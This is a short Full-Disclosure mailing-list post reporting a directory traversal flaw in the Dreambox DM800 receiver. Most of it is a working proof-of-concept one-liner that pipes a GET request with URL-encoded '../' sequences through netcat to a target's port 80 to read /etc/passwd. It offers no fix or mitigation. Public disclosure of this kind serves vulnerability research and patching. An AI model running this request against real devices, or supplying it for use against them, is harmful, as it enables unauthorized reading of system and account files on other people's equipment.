[Full-disclosure] Dreambox dm800 traversal path exploit

[Neusbeer <neusbeer@xxxxxxxxx>]

Dreambox DM800 traversal path exploit


Dreambox DM800 suffers from traversal path exploit
With standard GET command we can retreive /etc/passwd

PoC:
echo -e 'GET 
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
 
HTTP/1.1\n\n' | nc <ip> 80

,
Neusbeer

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